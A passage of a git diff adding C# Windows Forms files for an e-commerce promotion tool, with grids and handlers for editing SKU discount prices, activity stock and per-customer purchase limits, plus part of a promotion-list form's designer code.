this.colSelect, + this.colSkuId, + this.colSku, + this.colOldPrice, + this.colSetPrice, + this.colNowStock, + this.colActiveStock, + this.colLeftStock, + this.colLimited, + this.colMessage}); + this.dgvActiveSku.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvActiveSku.Location = new System.Drawing.Point(4, 0); + this.dgvActiveSku.Name = "dgvActiveSku"; + this.dgvActiveSku.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvActiveSku.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvActiveSku.RowTemplate.Height = 23; + this.dgvActiveSku.Size = new System.Drawing.Size(1076, 492); + this.dgvActiveSku.TabIndex = 6; + this.dgvActiveSku.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvActiveSku_CellContentClick); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选择"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 45; + // + // colSkuId + // + this.colSkuId.HeaderText = "SkuId"; + this.colSkuId.Name = "colSkuId"; + this.colSkuId.ReadOnly = true; + this.colSkuId.Visible = false; + this.colSkuId.Width = 150; + // + // colSku + // + this.colSku.HeaderText = "SKU"; + this.colSku.Name = "colSku"; + this.colSku.ReadOnly = true; + this.colSku.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSku.Width = 300; + // + // colOldPrice + // + this.colOldPrice.HeaderText = "原价"; + this.colOldPrice.Name = "colOldPrice"; + this.colOldPrice.ReadOnly = true; + this.colOldPrice.Width = 75; + // + // colSetPrice + // + this.colSetPrice.HeaderText = "打折"; + this.colSetPrice.Name = "colSetPrice"; + this.colSetPrice.ReadOnly = true; + this.colSetPrice.Width = 80; + // + // colNowStock + // + this.colNowStock.HeaderText = "当前库存"; + this.colNowStock.Name = "colNowStock"; + this.colNowStock.ReadOnly = true; + this.colNowStock.Width = 75; + // + // colActiveStock + // + this.colActiveStock.HeaderText = "活动库存"; + this.colActiveStock.Name = "colActiveStock"; + this.colActiveStock.ReadOnly = true; + this.colActiveStock.Width = 80; + // + // colLeftStock + // + this.colLeftStock.HeaderText = "活动剩余库存"; + this.colLeftStock.Name = "colLeftStock"; + this.colLeftStock.ReadOnly = true; + this.colLeftStock.Width = 90; + // + // colLimited + // + this.colLimited.HeaderText = "每人限购"; + this.colLimited.Name = "colLimited"; + this.colLimited.ReadOnly = true; + this.colLimited.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colLimited.Width = 80; + // + // colMessage + // + this.colMessage.HeaderText = "消息提示"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 150; + // + // DouProductPromotionListSkuInfoEditForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1084, 561); + this.Controls.Add(this.splitContainer1); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "DouProductPromotionListSkuInfoEditForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "活动编辑"; + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel1.PerformLayout(); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.panel6.ResumeLayout(false); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.panel5.ResumeLayout(false); + this.panel5.PerformLayout(); + this.splitContainer2.Panel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvActiveSku)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private DevComponents.DotNetBar.PanelEx btnSave; + private DevComponents.DotNetBar.PanelEx btnFill; + private System.Windows.Forms.Panel panel6; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbLimit; + private System.Windows.Forms.Label lblLimit; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.TextBox txtSetPrice; + private System.Windows.Forms.Panel panel5; + private System.Windows.Forms.TextBox txtStock; + private System.Windows.Forms.Label lblStock; + private System.Windows.Forms.Label label2; + private DevComponents.DotNetBar.PanelEx btnDelete; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvActiveSku; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colSkuId; + private System.Windows.Forms.DataGridViewTextBoxColumn colSku; + private System.Windows.Forms.DataGridViewTextBoxColumn colOldPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn colSetPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn colNowStock; + private System.Windows.Forms.DataGridViewTextBoxColumn colActiveStock; + private System.Windows.Forms.DataGridViewTextBoxColumn colLeftStock; + private System.Windows.Forms.DataGridViewTextBoxColumn colLimited; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/DouProductPromotionListSkuInfoEditForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/DouProductPromotionListSkuInfoEditForm.cs new file mode 100644 index 0000000..f6eb2a1 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/DouProductPromotionListSkuInfoEditForm.cs @@ -0,0 +1,315 @@ +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class DouProductPromotionListSkuInfoEditForm : Form + { + public List skuList = null; + private List strList = new List(); + private TextBox textBox = null; + private ComboBox comboBox = null; + + public DouProductPromotionListSkuInfoEditForm(Promotion_Goods goods, string shop_stype) + { + InitializeComponent(); + + if (shop_stype == "3") + { + this.dgvActiveSku.Columns["colSetPrice"].HeaderText = "打折"; + this.label2.Text = "折"; + } + else if (shop_stype == "2") + { + this.dgvActiveSku.Columns["colSetPrice"].HeaderText = "直降"; + this.label2.Text = "元"; + } + else if (shop_stype == "1") + { + this.dgvActiveSku.Columns["colSetPrice"].HeaderText = "一口价"; + this.label2.Text = "元"; + } + + this.txtSetPrice.Text = ""; + this.txtStock.Text = ""; + //设置限购数 + for (int x = 1; x <= 20; x++) + { + cmbLimit.Items.Add(x); + if (x == goods.promotion_skus[0].user_limit.ParseToInt()) + cmbLimit.SelectedIndex = x - 1; + } + + foreach (var sku in goods.promotion_skus) + { + if (shop_stype == "3") + this.dgvActiveSku.Rows.Add(false, sku.id, sku.specification, sku.origin_price.ParseToDecimal() / 100, sku.shop_svalue.ParseToDecimal() / 10, sku.stock, sku.camp_stock_num, sku.camp_left_stock_num, sku.user_limit); + else + this.dgvActiveSku.Rows.Add(false, sku.id, sku.specification, sku.origin_price.ParseToDecimal() / 100, sku.shop_svalue.ParseToDecimal() / 100, sku.stock, sku.camp_stock_num, sku.camp_left_stock_num, sku.user_limit); + } + dgvActiveSku.Sort(dgvActiveSku.Columns["colSkuId"], System.ComponentModel.ListSortDirection.Descending); + skuList = goods.promotion_skus; + } + + private void dgvActiveSku_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvActiveSku.Columns[e.ColumnIndex].HeaderText; + string columnName = dgvActiveSku.Columns[e.ColumnIndex].Name; + long SkuId = dgvActiveSku.Rows[e.RowIndex].Cells["colSkuId"].Value.ParseToLong(); + var row = dgvActiveSku.Rows[e.RowIndex]; + switch (columnName) + { + case "colSelect": + row.Cells["colSelect"].Value = !row.Cells["colSelect"].Value.ParseToBool(); + if (dgvActiveSku.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool()) + { + if (strList.Any(p => p == SkuId.ToString())) + strList.RemoveAll(p => p == SkuId.ToString()); + strList.Add(SkuId.ToString()); + } + else + strList.Remove(SkuId.ToString()); + break; + case "colSetPrice": + getTextBox(); + textBox.Visible = true; + textBox.Location = dgvActiveSku.GetCellDisplayRectangle(dgvActiveSku.CurrentCell.ColumnIndex, dgvActiveSku.CurrentCell.RowIndex, true).Location; + textBox.Location.Offset(0, 1); + textBox.Width = dgvActiveSku.GetCellDisplayRectangle(dgvActiveSku.CurrentCell.ColumnIndex, dgvActiveSku.CurrentCell.RowIndex, true).Width - 2; + textBox.Height = dgvActiveSku.GetCellDisplayRectangle(dgvActiveSku.CurrentCell.ColumnIndex, dgvActiveSku.CurrentCell.RowIndex, true).Height - 2; + textBox.Text = row.Cells["colSetPrice"].Value.ToString(); + textBox.Focus(); + textBox.LostFocus += new EventHandler((obj, ex) => { + var setPriceRes = (obj as TextBox).Text.Trim(); + if(setPriceRes != "") + { + var SetPrice = returnPrice(setPriceRes); + Promotion_Skus skuInfo = skuList.Where(x => x.id == SkuId.ToString()).FirstOrDefault(); + if (skuInfo != null) + skuInfo.shop_svalue = SetPrice.ParseToInt(); + row.Cells["colSetPrice"].Value = setPriceRes; + } + if (textBox != null) + { + dgvActiveSku.Controls.Remove(textBox); + textBox = null; + } + }); + break; + case "colActiveStock": + getTextBox(); + textBox.Visible = true; + textBox.Location = dgvActiveSku.GetCellDisplayRectangle(dgvActiveSku.CurrentCell.ColumnIndex, dgvActiveSku.CurrentCell.RowIndex, true).Location; + textBox.Location.Offset(0, 1); + textBox.Width = dgvActiveSku.GetCellDisplayRectangle(dgvActiveSku.CurrentCell.ColumnIndex, dgvActiveSku.CurrentCell.RowIndex, true).Width - 2; + textBox.Height = dgvActiveSku.GetCellDisplayRectangle(dgvActiveSku.CurrentCell.ColumnIndex, dgvActiveSku.CurrentCell.RowIndex, true).Height - 2; + textBox.Text = row.Cells["colActiveStock"].Value.ToString(); + textBox.Focus(); + textBox.LostFocus += new EventHandler((obj, ex) => { + var Stock = (obj as TextBox).Text.Trim(); + if (Stock != "") + { + Promotion_Skus skuInfo = skuList.Where(x => x.id == SkuId.ToString()).FirstOrDefault(); + if (skuInfo != null) + skuInfo.camp_stock_num = Stock.ParseToInt(); + row.Cells["colActiveStock"].Value = skuInfo.camp_stock_num; + } + if (textBox != null) + { + dgvActiveSku.Controls.Remove(textBox); + textBox = null; + } + }); + break; + case "colLimited": + getComboBox(); + comboBox.Visible = true; + comboBox.Location = dgvActiveSku.GetCellDisplayRectangle(dgvActiveSku.CurrentCell.ColumnIndex, dgvActiveSku.CurrentCell.RowIndex, true).Location; + comboBox.Width = dgvActiveSku.GetCellDisplayRectangle(dgvActiveSku.CurrentCell.ColumnIndex, dgvActiveSku.CurrentCell.RowIndex, true).Width - 2; + comboBox.Height = dgvActiveSku.GetCellDisplayRectangle(dgvActiveSku.CurrentCell.ColumnIndex, dgvActiveSku.CurrentCell.RowIndex, true).Height - 2; + for (int a = 0; a < comboBox.Items.Count; a++) + { + if (comboBox.Items[a].ToString() == row.Cells["colLimited"].Value.ToString()) + { + comboBox.SelectedIndex = a; + break; + } + } + comboBox.ItemHeight = 20; + comboBox.Focus(); + try + { + comboBox.LostFocus += new EventHandler((obj, ex) => { + var setLimit = (obj as ComboBox).Text; + Promotion_Skus skuInfo = skuList.Where(x => x.id == SkuId.ToString()).FirstOrDefault(); + if (skuInfo != null) + skuInfo.user_limit = setLimit; + if (comboBox != null) + { + dgvActiveSku.Controls.Remove(comboBox); + comboBox = null; + } + row.Cells["colLimited"].Value = setLimit; + }); + } + catch (Exception) + { + if (comboBox != null) + { + dgvActiveSku.Controls.Remove(comboBox); + comboBox = null; + } + Promotion_Skus skuInfo = skuList.Where(x => x.id == SkuId.ToString()).FirstOrDefault(); + row.Cells["colLimited"].Value = skuInfo.user_limit; + } + break; + default: + if (textBox != null) + { + dgvActiveSku.Controls.Remove(textBox); + textBox = null; + } + if (comboBox != null) + { + dgvActiveSku.Controls.Remove(comboBox); + comboBox = null; + } + break; + } + } + + private void btnFill_Click(object sender, System.EventArgs e) + { + var setPriceRes = txtSetPrice.Text.Trim(); + var ActiveStock = txtStock.Text.Trim(); + var LimitedNum = cmbLimit.Text; + foreach (DataGridViewRow row in dgvActiveSku.Rows) + { + var skuId = row.Cells["colSkuId"].Value.ToString(); + Promotion_Skus skuInfo = skuList.Where(x => x.id == skuId).FirstOrDefault(); + if (skuInfo != null) + { + if (setPriceRes != "") + { + row.Cells["colSetPrice"].Value = setPriceRes; + skuInfo.shop_svalue = returnPrice(setPriceRes).ParseToInt(); + } + if (ActiveStock != "") + { + skuInfo.camp_stock_num = skuInfo.camp_stock_num + ActiveStock.ParseToInt(); + row.Cells["colActiveStock"].Value = skuInfo.camp_stock_num; + } + row.Cells["colLimited"].Value = LimitedNum; + skuInfo.user_limit = LimitedNum; + } + } + } + public string returnPrice(string price) + { + var SetPrice = ""; + if (label2.Text == "折") + SetPrice = (price.ParseToDouble() * 10).ToString(); //打折精确到小数点后一位(0-10之间) + else if (label2.Text == "元") + SetPrice = (price.ParseToDouble() * 100).ToString(); //直降、一口价精确到小数点后两位(0-原价之间) + return SetPrice; + } + + private void btnDelete_Click(object sender, System.EventArgs e) + { + if (strList.Count == 0) + { + BaseMsgForm.ShowInfo("请选择待删除的单品!"); + return; + } + if (BaseMsgForm.ShowConfirm("确定要删除吗?").DialogResult == DialogResult.OK) + { + for (int i = 0; i < dgvActiveSku.Rows.Count; i++) + { + DataGridViewRow row = dgvActiveSku.Rows[i]; + long SkuId = row.Cells["colSkuId"].Value.ParseToLong(); + if (strList.Any(p => p == SkuId.ToString())) + { + dgvActiveSku.Rows.Remove(row); + strList.Remove(SkuId.ToString()); + skuList.Remove(skuList.Where(x => x.id == SkuId.ToString()).FirstOrDefault()); + i--; + } + } + } + } + + public void getTextBox() + { + textBox = new TextBox(); + textBox.Visible = false; + dgvActiveSku.Controls.Add(textBox); + } + + public void getComboBox() + { + comboBox = new ComboBox(); + for (int i = 1; i <= 20; i++) + { + comboBox.Items.Add(i); + } + comboBox.DropDownStyle = ComboBoxStyle.DropDownList; + comboBox.Visible = false; + dgvActiveSku.Controls.Add(comboBox); + } + + private void btnSave_Click(object sender, System.EventArgs e) + { + this.DialogResult = DialogResult.OK; + } + + } + public class ActiveInfoEdit + { + public string campaign_id { get; set; } + public int sub_stype { get; set; } + /// + /// 活动名称 + /// + public string title { get; set; } + public string pre_begin_time { get; set; } + public string begin_time { get; set; } + public string end_time { get; set; } + public string order_expire_time { get; set; } + /// + /// 优惠方式 + /// + public string shop_stype { get; set; } + public string time_set_type { get; set; } + public int status { get; set; } + public string stock_type { get; set; } + public string sold_out_type { get; set; } + public List promotion_goods { get; set; } + } + public class Promotion_Goods + { + public string product_id { get; set; } + public string title { get; set; } + public string cover { get; set; } + public int config_scope { get; set; } + public List promotion_skus { get; set; } + } + public class Promotion_Skus + { + public string id { get; set; } + public int camp_stock_num { get; set; } + public int camp_left_stock_num { get; set; } + public int price { get; set; } + public string user_limit { get; set; } + public int origin_price { get; set; } + public int stock { get; set; } + public string specification { get; set; } + public int shop_svalue { get; set; } + public int redline_price { get; set; } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/DouProductPromotionListSkuInfoEditForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/DouProductPromotionListSkuInfoEditForm.resx new file mode 100644 index 0000000..af6ddf9 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/DouProductPromotionListSkuInfoEditForm.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/FullMinusActiveForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusActiveForm.Designer.cs new file mode 100644 index 0000000..457d114 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusActiveForm.Designer.cs @@ -0,0 +1,437 @@ +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class FullMinusActiveForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.panel1 = new System.Windows.Forms.Panel(); + this.cmbActState = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.comboItem1 = new DevComponents.Editors.ComboItem(); + this.comboItem2 = new DevComponents.Editors.ComboItem(); + this.comboItem3 = new DevComponents.Editors.ComboItem(); + this.comboItem4 = new DevComponents.Editors.ComboItem(); + this.comboItem5 = new DevComponents.Editors.ComboItem(); + this.btnFailed = new DevComponents.DotNetBar.PanelEx(); + this.btnSearch = new DevComponents.DotNetBar.PanelEx(); + this.label2 = new System.Windows.Forms.Label(); + this.panel4 = new System.Windows.Forms.Panel(); + this.txtActName = new System.Windows.Forms.TextBox(); + this.lblActivity = new System.Windows.Forms.Label(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvActive = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colActiveId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colActiveName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colPreStartTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colPrefereType = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colStartTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colEndTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colActiveState = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.label1 = new System.Windows.Forms.Label(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.panel1.SuspendLayout(); + this.panel4.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvActive)).BeginInit(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.Controls.Add(this.cmbActState); + this.panel1.Location = new System.Drawing.Point(368, 7); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(76, 24); + this.panel1.TabIndex = 522; + // + // cmbActState + // + this.cmbActState.DisplayMember = "Text"; + this.cmbActState.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbActState.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbActState.FormattingEnabled = true; + this.cmbActState.ItemHeight = 18; + this.cmbActState.Items.AddRange(new object[] { + this.comboItem1, + this.comboItem2, + this.comboItem3, + this.comboItem4, + this.comboItem5}); + this.cmbActState.Location = new System.Drawing.Point(0, 0); + this.cmbActState.Name = "cmbActState"; + this.cmbActState.Size = new System.Drawing.Size(75, 24); + this.cmbActState.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbActState.TabIndex = 520; + // + // comboItem1 + // + this.comboItem1.Text = "全部"; + // + // comboItem2 + // + this.comboItem2.Text = "未开始"; + this.comboItem2.Value = "1"; + // + // comboItem3 + // + this.comboItem3.Text = "进行中"; + this.comboItem3.Value = "2"; + // + // comboItem4 + // + this.comboItem4.Text = "已结束"; + this.comboItem4.Value = "3"; + // + // comboItem5 + // + this.comboItem5.Text = "已失效"; + this.comboItem5.Value = "4"; + // + // btnFailed + // + this.btnFailed.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnFailed.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnFailed.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnFailed.DisabledBackColor = System.Drawing.Color.Empty; + this.btnFailed.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnFailed.Location = new System.Drawing.Point(692, 9); + this.btnFailed.Name = "btnFailed"; + this.btnFailed.Size = new System.Drawing.Size(75, 21); + this.btnFailed.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnFailed.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnFailed.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnFailed.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnFailed.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnFailed.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnFailed.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(8)))), ((int)(((byte)(55)))), ((int)(((byte)(114))))); + this.btnFailed.Style.GradientAngle = 90; + this.btnFailed.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnFailed.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnFailed.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnFailed.TabIndex = 546; + this.btnFailed.Text = "失效"; + this.btnFailed.Click += new System.EventHandler(this.btnFailed_Click); + // + // btnSearch + // + this.btnSearch.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnSearch.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSearch.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSearch.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSearch.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSearch.Location = new System.Drawing.Point(596, 9); + this.btnSearch.Name = "btnSearch"; + this.btnSearch.Size = new System.Drawing.Size(80, 21); + this.btnSearch.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSearch.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSearch.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSearch.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSearch.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSearch.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSearch.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSearch.Style.GradientAngle = 90; + this.btnSearch.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSearch.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSearch.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSearch.TabIndex = 536; + this.btnSearch.Text = "查询/刷新"; + this.btnSearch.Click += new System.EventHandler(this.btnSearch_Click); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(314, 11); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(56, 17); + this.label2.TabIndex = 521; + this.label2.Text = "活动状态"; + // + // panel4 + // + this.panel4.Controls.Add(this.txtActName); + this.panel4.Location = new System.Drawing.Point(195, 8); + this.panel4.Name = "panel4"; + this.panel4.Size = new System.Drawing.Size(96, 23); + this.panel4.TabIndex = 516; + // + // txtActName + // + this.txtActName.Location = new System.Drawing.Point(0, 0); + this.txtActName.Name = "txtActName"; + this.txtActName.Size = new System.Drawing.Size(95, 23); + this.txtActName.TabIndex = 481; + // + // lblActivity + // + this.lblActivity.AutoSize = true; + this.lblActivity.Location = new System.Drawing.Point(141, 11); + this.lblActivity.Name = "lblActivity"; + this.lblActivity.Size = new System.Drawing.Size(56, 17); + this.lblActivity.TabIndex = 515; + this.lblActivity.Text = "活动名称"; + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.btnFailed); + this.splitContainer1.Panel1.Controls.Add(this.btnSearch); + this.splitContainer1.Panel1.Controls.Add(this.panel1); + this.splitContainer1.Panel1.Controls.Add(this.label2); + this.splitContainer1.Panel1.Controls.Add(this.panel4); + this.splitContainer1.Panel1.Controls.Add(this.lblActivity); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(1034, 459); + this.splitContainer1.SplitterDistance = 38; + this.splitContainer1.TabIndex = 12; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvActive); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.label1); + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(1034, 417); + this.splitContainer2.SplitterDistance = 386; + this.splitContainer2.TabIndex = 10; + // + // dgvActive + // + this.dgvActive.AllowUserToAddRows = false; + this.dgvActive.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvActive.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvActive.BackgroundColor = System.Drawing.Color.White; + this.dgvActive.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvActive.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvActive.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvActive.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colActiveId, + this.colActiveName, + this.colPreStartTime, + this.colPrefereType, + this.colStartTime, + this.colEndTime, + this.colActiveState, + this.colMessage}); + this.dgvActive.Dock = System.Windows.Forms.DockStyle.Fill; + 